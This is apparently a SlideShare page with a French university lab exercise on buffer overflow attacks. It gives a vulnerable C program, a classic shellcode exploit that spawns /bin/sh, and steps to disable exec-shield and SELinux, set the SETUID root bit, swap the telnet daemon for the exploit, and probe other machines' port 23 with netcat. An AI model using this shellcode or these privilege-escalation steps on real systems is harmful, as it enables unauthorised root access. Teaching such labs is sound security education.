Master 2 ASR                       Info 0915 : Sécurité des systèmes dinformations                                        ...
Quesque vous remarquez ?-Déboguer le programme à laide du débogeur gdb tout en mettant un nom dépassant les 20caractéres.N...
-Compilez le programme en tant que simple user?Avez vous obtenu un shell en tant que root ?      ==Utiliser la commande ap...
Prochain SlideShare
Chargement dans…5
×

Tuto attaque Buffer Overflow: comment procéder ? tutoriel illustré

3 580 vues

Publié le

Tutoriel attaque buffer overflow avec correction et rapport illustré pas à pas pour reproduire une vraie attaque B.O.

Version complète du document sur : http://www.amazon.com/dp/B00AWHGIIE

Publié dans : Technologie
0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
3 580
Sur SlideShare
0
Issues des intégrations
0
Intégrations
1 065
Actions
Partages
0
Téléchargements
34
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Tuto attaque Buffer Overflow: comment procéder ? tutoriel illustré

  1. 1. Master 2 ASR Info 0915 : Sécurité des systèmes dinformations TP - Durée 2h www.yassine-benkirane.com Attaque Buffer Overflow Yassine BENKIRANEComprendre le principe de lattaque :I-Local exploit :1.Récupérer limage Fedora du site ci-dessous et linstaller à laide de VirtualBox :http://ftp.free.fr/mirrors/fedora.redhat.com/fedora/linux/releases/14/Live/i686/Fedora-14-i686-Live-Desktop.iso2.Lancer un terminal en tant que root3.Essayer de désactiver le patch exec-shield vu dans le cours. (google est votre ami!)4.Installer le compilateur GCC à laide de la commande yum (pas dapt-get ou aptitude ontravaille avec des packages de REDHAT )5.Soit le programme suivant :#include <stdio.h>void demander_nom() {char buffer_nom[20];printf("Entrez votre nomn");scanf("%s",&buffer_nom);printf("Votre nom est %sn",buffer_nom);}int main() {demander_nom();return 0;}-Compilez ce programme avec gcc (en tant que simple user)tout en mettant un nom dépassant les 20caractères.
  2. 2. Quesque vous remarquez ?-Déboguer le programme à laide du débogeur gdb tout en mettant un nom dépassant les 20caractéres.N.B :Utiliser loption r du débogueur. Quelle est ladresse de retour que vous obtenez ?-Essayez de visualisez ladresse Hex du registre EIP en utilisant toujours le débogueur gdb.Rappel: Registre eip comprend ladresse de la prochaine instruction à exécuter Quesque vous remarquez ?6.Soit le code suivant :#include <stdio.h>#include <string.h>char shellcode[] ="xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b""x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd""x80xe8xdcxffxffxff/bin/sh";char large_string[128];int main(int argc, char **argv){char buffer[96];int i;long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < (int) strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer, large_string);return 0;}
  3. 3. -Compilez le programme en tant que simple user?Avez vous obtenu un shell en tant que root ? ==Utiliser la commande appropriée pour vérifier== -Rendez le programme propriétaire de root et attribué à lexploit le bit SETUID. -Re-executer le programme ? Êtes vous root ? -Le bit setuid par sécurité ne sattribue plus aux fichiers exécutables dune façon si limpide écrivez un petit programme en bash pour contourner ce problème afin que votre exploit ai le bit SETUID (google est votre ami!). -Attribuez maintenant à votre nouveau programme le bit SETUID ainsi quil soit owner par root. -Re-éxecuter le programme et vérifiez si cette fois-ci si vous êtes vraiment root ? II-Remote exploit : 1-Installer le serveur telnet à laide de la commande yum. 2-Configurez ce dernier : ==>Mettez le en mode enable ==>Remplacer le démon in.telnetd par notre exploit ==>Redémarrer le serveur et assurer vous quil est en écoute à laide de la commande netstat.(Faites un telnet localhost pour tester la connexion) N.B:Si jamais vous avez un connection closes by foreign host pensez à désactiver le Selinux (Cest quoi==>google) 3-Test de lexploit à distance : ==>Jetez un coup doeil sur loutil netcut (man nc) ==>Faites un netcut sur lun de vos amis N.B:Utiliser netcut pour savoir si quelquun dans le réseau a le port 23 en écoute.Afin davoir la correction de ce tp et ainsi un tutoriel illustré et pas à pas des différentesétapes de ce tp rendez vous sur : http://www.amazon.com/dp/B00AWHGIIE

×